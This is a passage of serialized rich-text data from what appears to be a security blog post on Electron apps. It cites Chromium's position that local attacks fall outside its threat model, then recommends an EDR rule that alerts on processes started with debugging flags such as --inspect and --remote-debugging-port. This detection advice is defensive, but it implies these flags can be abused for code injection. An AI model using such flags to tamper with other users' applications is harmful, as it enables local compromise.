(https:\u002F\u002Fchromium.googlesource.com\u002Fchromium\u002Fsrc\u002F+\u002Fmaster\u002Fdocs\u002Fsecurity\u002Ffaq.md#Why-arent-physically_local-attacks-in-Chromes-threat-model), where local attacks are just not considered.",[736],{"start":448,"end":737,"type":538,"data":738},300,{"link_type":429,"url":739},"https:\u002F\u002Fchromium.googlesource.com\u002Fchromium\u002Fsrc\u002F+\u002Fmaster\u002Fdocs\u002Fsecurity\u002Ffaq.md#Why-arent-physically_local-attacks-in-Chromes-threat-model",{"type":425,"text":741,"spans":742},"If you are running an EDR software a good way of preventing and detecting this would be to create a rule that checks process arguments. Unless you develop and debug Electron based apps regularly, any process running with the following should at least generate an alert:",[],{"type":744,"text":745,"spans":746},"list-item","--inspect",[747],{"start":17,"end":748,"type":450},9,{"type":744,"text":750,"spans":751},"--inspect-br",[752],{"start":17,"end":753,"type":450},12,{"type":744,"text":755,"spans":756},"--debug",[757],{"start":17,"end":758,"type":450},7,{"type":744,"text":760,"spans":761},"--debug-brk",[762],{"start":17,"end":763,"type":450},11,{"type":744,"text":765,"spans":766},"--remote-debugging-port",[767],{"start":17,"end":768,"type":450},23,"rich_text$67cb6623-b4dc-45c6-967a-c9104067068c",1788466508046]